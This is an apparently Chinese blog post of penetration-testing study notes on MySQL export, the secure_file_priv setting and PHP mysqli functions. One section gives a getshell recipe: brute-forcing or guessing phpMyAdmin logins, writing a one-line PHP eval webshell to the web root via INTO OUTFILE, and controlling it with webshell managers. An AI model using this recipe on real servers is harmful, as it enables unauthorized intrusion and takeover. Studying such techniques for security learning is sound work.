• 2019-10-11:渗透测试,基础学习,php+mysql连接,笔记


    mysql导出数据
    1,通过工具如phpmyadmin,navicat等
    2,mysqldump -u -p 库名 > /数据库文件, mysqldump -u -p 库名 表名 > /表数据文件
    3,select 字段 from 表名 into outfile “文件”
    mysql 5.5以后首次从数据库中都暗处文件,数据库会运行secure-file-priv 安全机制,会限制导出文件, 查看该安全项的值: show global variables like '%secure_file_priv%';
    secure-file-priv,为Null表示限制导入和导出
    secure-file-priv,没有值,表示mysql不限制导入导出
    secure-file-priv=/tmp表示mysql只能在tmp目录下导入和导出其他目录不允许

    修改安全选项
    临时方法,set global secure-file-priv='';
    注意 variable 'secure_file_priv' is read only variable表示不能通过sql语句修改
    长久方法,修改配置文件,在配置文件中找到mysqld,后面添加 secure-file-priv=' '保存退出,重启服务

    通过phpmyadmin获取服务器权限,getshell
    1,通过google hacking找phpmyadmin
    2,爆破或弱口令登录进入phpmyadmin,判断是否有限制写木马文件
    3,如果该安全选学校没有限制或者限制不严格,可以往站点根目录去写一句话木马,可以在phpmyadmin下执行sql语句,select @@basedir;
    select "<?php @eval($_POST[[123]);?>" into outfile "D:\phpstudy_pro\www\eval.php"
    4,通过webshell管理工具如,菜刀,蚁剑等去控制服务器

    php+mysql
    php操作mysql数据库
    1,使用Mysql扩展,只针对Mysql数据库
    面向对象
    直接方法,面向过程
    2,使用mysql扩展(php<=5.5)2010年开始不建议使用
    3,使用PDP(php data objects)技术(防止sql诸如)面向对象的方式,可以应用在12种数据库中

    phpinfo()中查看当前环境是否有Mysqli的扩展
    at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。

    getMessage()存储错误信息
    mysqli_query()执行某个针对数据库的查询。返回的为class
    mysqli_num_rows() 返回结果集中行的数量,查询的记录数
    mysqli_fetch_assoc()从结果集中取第一行作为数字数组或关联数组,关系型数组,如果要输出所有,就使用一个循环
    mysqli_fetch_all()从结果集中取得所有行作为关联数组,或数字数组,或二者兼有。
    mysqli_field_count() 返回最近查询的列数。

  • 相关阅读:
    springboot springcloud zuul 过滤器
    springboot springcloud eureka 熔断器
    javaweb servlet filter
    maven nexus 搭建私服(二)
    springboot springcloud zuul 网关入门
    springboot springcloud 配置中心
    springboot springcloud eureka 入门
    java rabbitmq
    java jvm调优
    maven nexus 搭建私服(一)
  • 原文地址:https://www.cnblogs.com/sym945/p/11654514.html
Copyright © 2020-2023  润新知